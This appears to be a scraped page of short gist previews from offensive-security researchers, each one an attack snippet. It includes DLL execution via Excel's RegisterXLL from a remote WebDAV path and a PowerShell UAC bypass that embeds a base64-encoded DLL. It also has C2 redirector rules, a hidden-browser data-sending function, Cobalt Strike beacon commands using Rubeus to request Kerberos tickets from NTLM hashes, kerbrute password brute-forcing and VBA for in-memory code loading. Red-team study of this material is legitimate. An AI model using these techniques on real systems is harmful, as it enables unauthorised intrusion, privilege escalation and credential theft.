ryhanson

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

clavoillotte

# Bypass UAC with a .NET profiler DLL

# GUID, path and content
$GUID = '{' + [guid]::NewGuid() + '}'
$DllPath = $env:TEMP + "\test.dll"
$DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADXHurFk3+ElpN/hJaTf4SWsR+Fl5B/hJaTf4WWkX+EligejJeRf4SWKB6Gl5J/hJZSaWNok3+ElgAAAAAAAAAAUEUAAGSGAwAgMyBZAAAAAAAAAADwACIgCwIOCgACAAAABgAAAAAAAAAQAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA4CEAACgAAAAAAAAAAAAAAAAwAAAMAAAAAAAAAAAAAAAAAAAAAAAAACAgAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA7AAAAABAAAAACAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAARgIAAAAgAAAABAAAAAYAAAAAAAAAAAAAAAAAAEAAAEAucGRhdGEAAAwAAAAAMAAAAAIAAAAKAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

curi0usJack

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#

leoloobeek

// sample function that takes in a destination server, POST data, and custom HTTP request headers
private string SendData(string dst, byte[] postData, string customHeaders)
{
    Type com_type = Type.GetTypeFromCLSID(new Guid("0002DF01-0000-0000-C000-000000000046"));
    object IE = Activator.CreateInstance(com_type);

    object[] falseArr = new object[] { false };
    object[] trueArr = new object[] { true };
    com_type.InvokeMember("Visible", System.Reflection.BindingFlags.SetProperty, null, IE, falseArr);
    com_type.InvokeMember("Silent", System.Reflection.BindingFlags.SetProperty, null, IE, trueArr);

HarmJ0y

Windows version:
	reg query x64 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Users who have authed to the system:
	ls C:\Users\

System env variables:
	reg query x64 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

Saved outbound RDP connections:

HarmJ0y

##### IF ELEVATED:

# grab a TGT b64 blob with a valid NTLM/rc4 (or /aes256:X)
beacon> execute-assembly /home/specter/Rubeus.exe asktgt /user:USER /rc4:NTLM_HASH

# decode the base64 blob to a binary .kirbi
$ base64 -d ticket.b64 > ticket.kirbi

# sacrificial logon session (to prevent the TGT from overwriting your current logon session's TGT)
beacon> make_token DOMAIN\USER PassWordDoesntMatter

enigma0x3

--------------------------------------------------------------------------------
<WinProcess "smss.exe" pid 368 at 0x5306908L>
64
[!!] Invalid rpcrt4 base: 0x0 vs 0x7ffec24f0000
--------------------------------------------------------------------------------
<WinProcess "csrss.exe" pid 472 at 0x5306e48L>
64

Interfaces :
Endpoints :

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

djhohnstein

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

using System.Reflection;
using System.Reflection.Emit;

using System.Collections;
using System.Collections.Generic;

monoxgas

' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&